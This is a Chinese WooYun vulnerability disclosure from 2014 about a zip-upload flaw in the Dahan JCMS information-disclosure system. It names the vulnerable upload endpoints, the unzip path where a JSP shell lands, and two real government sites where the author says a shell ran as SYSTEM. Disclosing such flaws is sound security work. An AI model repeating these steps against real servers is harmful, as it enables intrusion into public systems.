当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061295

漏洞标题：大汉版通系统再再次getshell之3

相关厂商：南京大汉网络有限公司

漏洞作者： 路人甲

提交时间：2014-05-18 19:08

修复时间：2014-08-16 19:10

公开时间：2014-08-16 19:10

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-18： 细节已通知厂商并且等待厂商处理中
2014-05-19： 厂商已经确认，细节仅向厂商公开
2014-05-22： 细节向第三方安全合作伙伴开放
2014-07-13： 细节向核心白帽子及相关领域专家公开
2014-07-23： 细节向普通白帽子公开
2014-08-02： 细节向实习白帽子公开
2014-08-16： 细节向公众公开

简要描述：

大汉版通系统再再次getshell之3，同样存在两处..

详细说明：

注：该系统为信息公开系统(xxgk)
#1 漏洞文件

/xxgk/m_5_e/module/opr_module.jsp?fn_billstatus=1
/xxgk/m_5_e/module/review/opr_review_template.jsp


由于第二个文件的上传比较有意思，我们选择其贴下关键的代码

//上传
if (strStatus.equals("S")) {
	blf.doUpload(request);
	out.println(Convert.getAlterScript("parent.location='./opr_review_template.jsp'"));
	return;
}


这两个上传也仅在客户端进行验证

<script language="javascript">
<!--
	function GetFileExtension(name)
	{
		var ext = name.substring(name.lastIndexOf(".") + 1, name.length);
		return ext.toLowerCase();
	}
	function jsUpload()
	{		
		var obj = document.uploadmodal.upfile;
		var objImg = document.uploadmodal.upfile1;
		if( obj.value == "" && objImg.value == "" ){
			alert("请选择要上传的文件!");
			obj.focus();
			return false; 
		}
		
		var ext = GetFileExtension( obj.value );
		var extimg = GetFileExtension( objImg.value );
		//...
		if( extimg != "" && extimg != "zip" ){
			alert("图片文件格式应该为：zip文件, 请重新选择!");
			obj.focus();
			return false;
		}
		var page = "./opr_review_template.jsp?status=S&modaltype=-1";
		document.uploadmodal.action = page;
		return true;	
	}
}
</script>


这里既然可以上传 zip 格式的文件，程序肯定会解压缩ZIP包，那么，假如我们在ZIP包里隐藏了我们想要上传的恶意文件，而恰巧程序解压后，并不会删除这些文件，那么不就直接getshell了吗?
#2 漏洞测试
有了这些想法，那么我们就来测试测试，程序的逻辑是不是真如我们想象的那样..
那么，我们首先将要上传的文件打包成zip，这里为shell.zip

1.jpg


由于这套系统网上的实例很多，随机选取两个进行测试..
测试一：

http://xxgk.lyg.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp


打开此页面后，直接上传我们的shell.zip，点击提交即可在服务器上解压并生成Customize.jsp
路径为：

/xxgk/jcms_files/jcms1/web0/site/zfxxgk/letterbox/template/-1/文件名
注：经过多个测试，一般情况都为此路径，极少部分 有可能会更改jcms1 web0后面的数字


连接shell,如图所示

2.jpg


测试二：

http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp


同样直接上传我们的shell.zip,即可在上面的目录下生成：Customize.jsp
同样连接Customize.jsp,如图所示

3.jpg

漏洞证明：

#证明

http://xxgk.weifang.gov.cn//xxgk/m_5_e/module/review/opr_review_template.jsp
C:\WINDOWS\system32\> whoami
nt authority\system
C:\WINDOWS\system32\> ipconfig
Windows IP Configuration
Ethernet adapter 本地连接 2:
   Connection-specific DNS Suffix  . : 
   IP Address. . . . . . . . . . . . : 10.82.17.26
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.82.17.1

修复方案：

严格限制上传的文件

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-05-19 10:01

厂商回复：

感谢关注

最新状态：

暂无